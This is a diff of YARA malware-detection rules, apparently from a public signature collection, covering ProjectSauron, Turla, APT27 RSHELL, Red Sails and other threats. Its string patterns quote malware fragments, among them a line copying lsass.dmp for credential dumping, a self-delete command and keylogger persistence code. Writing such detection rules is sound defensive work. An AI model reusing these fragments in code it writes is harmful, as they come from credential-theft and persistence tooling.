+		date = "2018-01-05"
+		modified = "2023-12-05"
+		reference = "https://pastebin.com/8qaiyPxs"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_netwire_rat.yar#L47-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f39b3fd11e7450eb1eaddeeca60aa4970568efda6053029f85df42e2f9fdd6e"
+		score = 60
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-C7 45 ?? 57 69 6E 45
-C7 45 ?? 78 65 63 00
-C7 45 ?? 47 65 74 50
-C7 45 ?? 72 6F 63 41
-C7 45 ?? 64 64 72 65
-C7 45 ?? 73 73 00 00
-C7 45 ?? 43 72 65 61
-C7 45 ?? 74 65 46 69
-C7 45 ?? 6C 65 41 00
-C7 45 ?? 57 72 69 74
-C7 45 ?? 65 46 69 6C
-C7 45 ?? 65 00 00 00
-C7 45 ?? 43 6C 6F 73
-C7 45 ?? 65 48 61 6E
-C7 45 ?? 64 6C 65 00
-89 4D ??
+	strings:
+		$s1 = "call :deleteSelf&exit /b"
 
+	condition:
+		filesize <600KB and 1 of them
 }
+rule SIGNATURE_BASE_SUSP_NET_Msil_Suspicious_Use_Strreverse : FILE
+{
+	meta:
+		description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
+		author = "dr4k0nia, modified by Florian Roth"
+		id = "830dec40-4412-59c1-8b4d-a237f14acd30"
+		date = "2023-01-31"
+		modified = "2023-02-22"
+		reference = "https://github.com/dr4k0nia/yara-rules"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_net_msil.yar#L2-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
+		logic_hash = "a7440600ee4826568d465d204e0a602f61752e4ffcfa3b4f29e5bc81c4d67b46"
+		score = 70
+		quality = 85
+		tags = "FILE"
+		version = "1.1"
+
+	strings:
+		$a1 = ", PublicKeyToken="
+		$a2 = ".NETFramework,Version="
+		$csharp = "Microsoft.CSharp"
+		$vbnet = "Microsoft.VisualBasic"
+		$strreverse = "StrReverse"
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <50MB and all of ($a*) and $csharp and $vbnet and $strreverse
 }
-rule SIGNATURE_BASE_Servantshell : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Pipe_Backdoor : FILE
 {
 	meta:
-		description = "Detects Servantshell malware"
-		author = "Arbor Networks ASERT Nov 2015"
-		id = "f41e9191-0be1-59f7-9be4-e39c8a37b2c5"
-		date = "2017-02-02"
+		description = "Rule to detect ProjectSauron pipe backdoors"
+		author = "Kaspersky Lab"
+		id = "5a1dd4b3-a03c-51bb-a7bc-25729b487f70"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://tinyurl.com/jmp7nrs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_servantshell.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "739057dc95831c9ed35981b40c606ecd0b3fd2118b42ed7c09e200dc0bc395db"
-		score = 70
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L4-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72f6c6fa65f15e4bab18a0f9d5b5b2f571b21d70c7ff306020784ce604a2e0a5"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
 
 	strings:
-		$string1 = "SelfDestruction.cpp"
-		$string2 = "SvtShell.cpp"
-		$string3 = "InitServant"
-		$string4 = "DeinitServant"
-		$string5 = "CheckDT"
+		$a1 = "CreateNamedPipeW" fullword ascii
+		$a2 = "SetSecurityDescriptorDacl" fullword ascii
+		$a3 = "GetOverlappedResult" fullword ascii
+		$a4 = "TerminateThread" fullword ascii
+		$a5 = "%s%s%X" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5A4D and ( all of ($a*)) and filesize <100000
 }
-rule SIGNATURE_BASE_Rocketkitten_Keylogger : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Encrypted_LSA : FILE
 {
 	meta:
-		description = "Detects Keylogger used in Rocket Kitten APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "558341db-a30d-586e-8efc-0fff1d8f94a1"
-		date = "2015-09-01"
+		description = "Rule to detect ProjectSauron encrypted LSA samples"
+		author = "Kaspersky Lab"
+		id = "f6fd8619-60f0-5c0d-aa66-cd0e154de63c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/SjQhlp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rocketkitten_keylogger.yar#L8-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8523a50075c6ee9675d37d870da55d9e6193bbc770f6b916e700ab9aad438cc"
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L23-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aaeee77b596e304836e23241fdc602d0ffed3379b386724210859c84033ac2b5"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4"
-		hash2 = "495a15f9f30d6f6096a97c2bd8cc5edd4d78569b8d541b1d5a64169f8109bc5b"
+		version = "1.0"
 
 	strings:
-		$x1 = "\\Release\\CWoolger.pdb" ascii
-		$x2 = "WoolenLoger\\obj\\x86\\Release" ascii
-		$x3 = "D:\\Yaser Logers\\"
-		$z1 = "woolger" fullword wide
-		$s1 = "oShellLink.TargetPath = \"" fullword ascii
-		$s2 = "wscript.exe " fullword ascii
-		$s3 = "strSTUP = WshShell.SpecialFolders(\"Startup\")" fullword ascii
-		$s4 = "[CapsLock]" fullword ascii
+		$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
+		$a2 = "\\Device\\NdisRaw_" ascii
+		$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
+		$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
+		$a5 = "Missing function %S::#%d" fullword wide
+		$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
+		$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or ($z1 and 2 of ($s*)))) or ($z1 and all of ($s*))
+		uint16(0)==0x5A4D and ( any of ($a*) or (pe.exports("InitializeChangeNotify") and pe.exports("PasswordChangeNotify") and math.entropy(0x400, filesize )>=7.5)) and filesize <1000000
 }
-rule SIGNATURE_BASE_Trojan_ISMRAT_Gen : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Encrypted_SSPI : FILE
 {
 	meta:
-		description = "ISM RAT"
-		author = "Ahmed Zaki"
-		id = "e72241ce-d6ee-5cb7-a83d-157161938d83"
+		description = "Rule to detect encrypted ProjectSauron SSPI samples"
+		author = "Kaspersky Lab"
+		id = "43c0e772-46d2-510e-bea1-6f505199f38c"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ism_rat.yar#L9-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c4d26f79b8110e92a5e427de303eca6eaf79765a4c9cc437864dc5160ef2e343"
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L49-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99d7444ffc45076e97ac3f5c9909ae26a927bbdcfef274d12d162c59e8113d65"
+		score = 75
+		quality = 60
+		tags = "FILE"
+		version = "1.0"
+
+	condition:
+		uint16(0)==0x5A4D and filesize <1000000 and pe.exports("InitSecurityInterfaceA") and pe.characteristics&pe.DLL and (pe.machine==pe.MACHINE_AMD64 or pe.machine==pe.MACHINE_IA64) and math.entropy(0x400, filesize )>=7.5
+}
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Mytrampoline : FILE
+{
+	meta:
+		description = "Rule to detect ProjectSauron MyTrampoline module"
+		author = "Kaspersky Lab"
+		id = "b4f2cabf-11da-5fa1-8c23-0a177f8a4741"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L65-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bd98815fbf6e82cf477e4f4f98360a4c132b2b21e2e5991f6c10903bd4df52b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "146a112cb01cd4b8e06d36304f6bdf7b"
-		hash2 = "fa3dbe37108b752c38bf5870b5862ce5"
-		hash3 = "bf4b07c7b4a4504c4192bd68476d63b5"
+		version = "1.0"
 
 	strings:
-		$s1 = "WinHTTP Example/1.0" wide
-		$s2 = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0" wide
-		$s3 = "|||Command executed successfully"
-		$dir = /Microsoft\\Windows\\Tmpe[a-z0-9]{2,8}/
+		$a1 = ":\\System Volume Information\\{" wide
+		$a2 = "\\\\.\\PhysicalDrive%d" wide
+		$a3 = "DMWndClassX%d"
+		$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
+		$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0x5A4D and filesize <5000000 and ( all of ($a*) or any of ($b*))
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr202004_1 : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Encrypted_Container : FILE
 {
 	meta:
-		description = "Detects Turla Linux malware x64 x32"
-		author = "Leonardo S.p.A."
-		id = "2da75433-b1c1-51b3-8f7a-a4442ca3de96"
-		date = "2020-04-24"
+		description = "Rule to detect ProjectSauron samples encrypted container"
+		author = "Kaspersky Lab"
+		id = "4462ebd9-24eb-570a-94b8-6fa6bf2a5a63"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_penquin.yar#L2-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e07963c492f1e6264f01ee292e40b188ca325b76005d9d48e6dc198cb9bdcf4"
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L85-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b36f2f1161fd2ff856db520efca8648892656b7a2587dce1a7445af4fbba013"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
-		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
-		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
-		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
-		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
-		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
-		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
-		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
-		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
+		version = "1.0"
 
 	strings:
-		$ = "/root/.hsperfdata" ascii fullword
-		$ = "Desc| Filename | size |state|" ascii fullword
-		$ = "VS filesystem: %s" ascii fullword
-		$ = "File already exist on remote filesystem !" ascii fullword
-		$ = "/tmp/.sync.pid" ascii fullword
-		$ = "rem_fd: ssl " ascii fullword
-		$ = "TREX_PID=%u" ascii fullword
-		$ = "/tmp/.xdfg" ascii fullword
-		$ = "__we_are_happy__" ascii
-		$ = "/root/.sess" ascii fullword
+		$vfs_header = {02 AA 02 C1 02 0?}
+		$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
 
 	condition:
-		uint16(0)==0x457f and filesize <5000KB and 4 of them
+		uint16(0)==0x5A4D and ((@vfs_header<0x4000) or $salt) and math.entropy(0x400, filesize )>=6.5 and ( filesize >0x400) and filesize <10000000
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr202004_1_Opcode : FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Encryption : FILE
 {
 	meta:
-		description = "Detects Turla Linux malware x64 x32"
-		author = "Leonardo S.p.A."
-		id = "03043f59-c81a-5423-bec1-6cd88f6e3c52"
-		date = "2020-04-24"
+		description = "Rule to detect ProjectSauron string encryption"
+		author = "Kaspersky Lab"
+		id = "b3139045-54f5-5d59-980b-8510faa9ad0e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_penquin.yar#L35-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "19524e6ec3b0d49ff9c85ce361ef1922b92e4f7876ddb7d6c9b209b5357080e3"
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L105-L123"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae3a681b0cf9ed93d25fa35982daab48c460ba9737eb643ba28a972ea3a7b401"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
-		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
-		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
-		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
-		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
-		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
-		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
-		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
-		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
+		version = "1.0"
 
 	strings:
-		$op0 = { 8D 41 05 32 06 48 FF C6 88 81 E0 80 69 00 }
-		$op1 = { 48FFC14883F94975E9 }
-		$op2 = { C7 05 9B 7D 29 00 1D 00 00 00 C7 05 2D 7B 29 00 65 74 68 30 C6 05 2A 7B 29 00 00 E8 }
-		$op3 = { BF FF FF FF FF E8 96 9D 0A 00 90 90 90 90 90 90 90 90 90 90 89 F0}
-		$op4 = { 88D380C305329AC1D60C08889A60A10F084283FA0876E9 }
-		$op5 = { 8B 8D 50 DF FF FF B8 09 00 00 00 89 44 24 04 89 0C 24 E8 DD E5 02 00 }
-		$op6 = { 8D 5A 05 32 9A 60 26 0C 08 88 9A 20 F4 0E 08 42 83 FA 48 76 EB }
-		$op7 = { 8D 4A 05 32 8A 25 26 0C 08 88 8A 20 F4 0E 08 42 83 FA 08 76 EB}
+		$a1 = {81??02AA02C175??8B??0685}
+		$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
+		$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
 
 	condition:
-		uint16(0)==0x457f and filesize <5000KB and 2 of them
+		filesize <5000000 and any of ($a*)
 }
-rule SIGNATURE_BASE_APT_MAL_APT27_Rshell_Jul24 : MALWARE RSHELL___SYSUPDATE FILE
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Apt_Projectsauron_Generic_Pipe_Backdoor : FILE
 {
 	meta:
-		description = "YARA rule to detect RSHELL of APT27"
-		author = "Bundesamt fuer Verfassungsschutz, modified by Florian Roth"
-		id = "67c8ac4e-8e2f-5cca-90cb-5d5fdf6f86b5"
-		date = "2024-07-11"
-		modified = "2024-07-12"
-		reference = "https://x.com/bfv_bund/status/1811364839656185985?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt27_rshell.yar#L2-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "be5f6281d722bd07e53acd459c794fe3ae870a05ed8979de4c28d357110617bd"
+		description = "Rule to detect ProjectSauron generic pipe backdoors"
+		author = "Kaspersky Lab"
+		id = "77a82c67-7ee1-5d1f-ad75-28ce174e41bc"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron.yara#L125-L144"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec8a311ec1bd98532c278f72c77e58edb5890db940046dfcd14adf1495e9de1e"
 		score = 75
-		quality = 85
-		tags = "MALWARE, RSHELL / SYSUPDATE, FILE"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		malware = "RSHELL / SYSUPDATE"
-		hash1 = "0433edfad648e1e29be54101abaded690302dc7e49ad916cfbbddf99b3ade12c"
-		hash2 = "10bb89fdf25c88d3c5623e8d68573124c9a42549750014e3675e2ca342aeba4a"
-		hash3 = "2603e1f61363451891c97b0c4ce8acfbfb680d3df4282f9d151ecce3a5679616"
-		hash4 = "70dac42491f8f19568a5d7b1d10b29f732a88d75e7f2bfa07b23202bacadf56f"
-		hash5 = "b988a6583ce40f07e5fc8e890ae2b1c84a93db8a2e3ca8769241b94bea332a7a"
-		hash6 = "c4fe1e56f601d411e2385352606524fb8bbf773bc2ba14889a8de605c2d14da0"
-		hash7 = "c787144d285fcca8a542f7a5525a37bcd089b39068b9a4db7fe3554ee6c08301"
-		hash8 = "ddaa4d23e4651a517fffbd29f0924607ba6b6253171144da5e49237afe91666b"
+		quality = 83
+		tags = "FILE"
+		version = "1.0"
 
 	strings:
-		$a1 = "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%" ascii
-		$a2 = "/proc/self/exe" ascii
-		$s1 = "HISTFILE" ascii fullword
-		$s2 = "/tmp/guid" ascii fullword
-		$sop1 = { e8 ?? ?? ?? ?? c7 43 04 00 00 00 00 8b 3b 85 ff 7e 2? e8 ?? ?? 0? 00 85 c0 7e 0? }
-		$sop2 = { c7 43 04 00 00 00 00 8b 3b 85 ff 7e 2? e8 ?? ?? 0? 00 85 c0 7e 0? f7 d8 }
+		$a = { C7 [2-3] 32 32 32 32 E8 }
+		$b = { 42 12 67 6B }
+		$c = { 25 31 5F 73 }
+		$d = "rand"
+		$e = "WS2_32"
 
 	condition:
-		( uint32be(0)==0x7f454c46 or ( uint32be(0)==0xcafebabe and uint32be(4)<0x20) or uint32(0)==0xfeedface or uint32(0)==0xfeedfacf) and filesize <2MB and all of ($a*) and 2 of ($s*) or 3 of ($s*)
+		uint16(0)==0x5A4D and ( all of them ) and filesize <400000
 }
-rule SIGNATURE_BASE_Reveal_Memorycredentials : FILE
+rule SIGNATURE_BASE_SUSP_Autocad_Lsp_Malware : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Reveal-MemoryCredentials.ps1"
+		description = "Recognizes malicious autocad files written in LISP"
+		author = "John Lambert @JohnLaTwC"
+		id = "3a4ac6e1-d7ea-5b9a-a386-9f881fad073b"
+		date = "2019-02-04"
+		modified = "2023-12-05"
+		reference = "http://cadablog.blogspot.com/2012/06/acadmedrea-malware-autocad-based-virus.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_autocad_lsp_malware.yar#L1-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a5fe7016e27431407435541ab71ab00e6fd53418e2ebc19f8764c98728b89a6"
+		score = 65
+		quality = 52
+		tags = "FILE"
+		hash1 = "1313398e2f39fcf17225c7e915b92bd74292d427163112d70b82f271359b84d5"
+		hash2 = "2382e6908e6b44c0676c537cb8caa239c8938cb01e62a45c7247d40ab7dbf0ad"
+		hash3 = "23cf3e7f41a755a45e396e5caa3e753e64655b91fe665808f71aa68718670dc8"
+		hash4 = "23f018135afc4890e1e09bef9386e45e2236fc43550383b7888cddbdefbcd950"
+		hash5 = "4a8da078a02fc49b7f13cd19d10519b1bf31ed0ab04268f018ad4733918e28ff"
+		hash6 = "4cca7b530213ef71b2e69a5b11178b61044f93dc60f4e8e568ddb3bb06749ba2"
+		hash7 = "5390271899e1ebf884380f5da7d26dff527d13922d3b3f8a3b5ec9152b9dfa40"
+		hash8 = "53ef3029f36a3a2b912a722d64eef04f599f6f683c6dcb31a122ab1c98f38700"
+		hash9 = "7f7d78931370fa693cbfa50aadecc09b4ab93917dcde3a653bd67fa6dc274cdc"
+		hash10 = "8147cc97b6203c7eccfbd10457eb52527f74180ebae79bf3cb9c9edb582e708c"
+		hash11 = "8a3113ceb45725539e4ccef5ea1482c29b2bbe0ce7ede72f59f9949a0e04c5cd"
+		hash12 = "a0c77993f84ca8fb3096579088326bc907b003327f5885660ea5ba47e2cbc6de"
+		hash13 = "a20ac5e0bfa2ee3cb4092907420c23d1f94a1ed1b59cc3d351e5602d7206178c"
+		hash14 = "b201969ed7bf782d01011211b48bfccb9dd41a3a5a7456cdff2167f1e4d1b954"
+		hash15 = "b2bac49288329a777e7aa7001e9383eec75719c08f2aa8c278b44fabeb74844f"
+		hash16 = "b772dce92319bb48df39db6ab701761bd7645a771fd7f394510d5951695e7e96"
+		hash17 = "c116cc4db6f77c580c1c4f8acda537ed04e597739bc83011773dbeb77adf93e3"
+		hash18 = "ca1b9026b5d69c0981ca088330180d4865602fc2b514fd838664d3e11eab4468"
+		hash19 = "d7a814d677f9f9dd9666dc4f4bb9cca88fa90bdb074e87006e8810eef9a0fb32"
+		hash20 = "e4acfb69006b8aecf5801e36e2c69ccfeea2e8cbad4ceda9228d2dae2c8fd023"
+		hash21 = "f9d6b894ca907145464058a4e2c78de84bf592609b46f3573bfd9e0029e1c778"
+
+	strings:
+		$s1 = /\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)/
+		$s2 = /vl\-list\-\>string\s+\'\(\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+/
+		$m1 = "strcat" nocase fullword
+		$m2 = "write-line" nocase fullword
+		$m3 = "open" nocase fullword
+		$m4 = /acad\w*\.lsp\"/ nocase fullword
+		$n1 = "vl-registry-write" nocase fullword
+		$n2 = "NOHIDDEN" nocase fullword
+		$n3 = "vlax-create-object " nocase fullword
+
+	condition:
+		filesize <1MB and uint8(0)==0x28 and (1 of ($s*) or all of ($m*) or all of ($n*))
+}
+rule SIGNATURE_BASE_Redsails_EXE : FILE
+{
+	meta:
+		description = "Detects Red Sails Hacktool by WinDivert references"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ca06c702-45fe-5ab5-b53e-c3f7b7006570"
-		date = "2015-08-31"
+		id = "e7ebbebf-e2d6-5cd3-b859-b804d39d1641"
+		date = "2017-10-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/giMini/RWMC/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rwmc_powershell_creddump.yar#L8-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "893c26818c424d0ff549c1fbfa11429f36eecd16ee69330c442c59a82ce6adea"
-		logic_hash = "d740462aacd3b30d0258d018344642683fefd43ef033dd7f5bdde2bdddce4115"
+		reference = "https://github.com/BeetleChunks/redsails"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_redsails.yar#L11-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fe9232989fb29686f11ee8cd59090fb6602301b00ff12d4a0dff8279a1718086"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7a7861d25b0c038d77838ecbd5ea5674650ad4f5faf7432a6f3cfeb427433fac"
 
 	strings:
-		$s1 = "$dumpAProcessPath = \"C:\\Windows\\temp\\msdsc.exe\"" fullword ascii
-		$s2 = "$user = Get-ADUser -Filter {UserPrincipalName -like $loginPlainText -or sAMAccountName -like $loginPlainText}" fullword ascii
-		$s3 = "Copy-Item -Path \"\\\\$computername\\\\c$\\windows\\temp\\lsass.dmp\" -Destination \"$logDirectoryPath\"" fullword ascii
-		$s4 = "if($backupOperatorsFlag -eq \"true\") {$loginPlainText = $loginPlainText + \" = Backup Operators\"}            " fullword ascii
+		$s1 = "bWinDivert64.dll" fullword ascii
+		$s2 = "bWinDivert32.dll" fullword ascii
 
 	condition:
-		filesize <200KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <6000KB and all of them )
 }
-rule SIGNATURE_BASE_Minidumptest_Msdsc : FILE
+rule SIGNATURE_BASE_Redsails_PY
 {
 	meta:
-		description = "Auto-generated rule - file msdsc.exe"
+		description = "Detects Red Sails Hacktool - Python"
 		author = "Florian Roth (Nextron Systems)"
-		id = "044ae157-aba2-5935-9afc-8a12853c84bc"
-		date = "2015-08-31"
+		id = "59d5e784-70ff-5061-9867-54c905ecfd8c"
+		date = "2017-10-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/giMini/RWMC/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rwmc_powershell_creddump.yar#L26-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "477034933918c433f521ba63d2df6a27cc40a5833a78497c11fb0994d2fd46ba"
-		logic_hash = "ae8a28df245a8f7a2d62639789c31556b012322fcac09784595fd6f95d6bf195"
-		score = 50
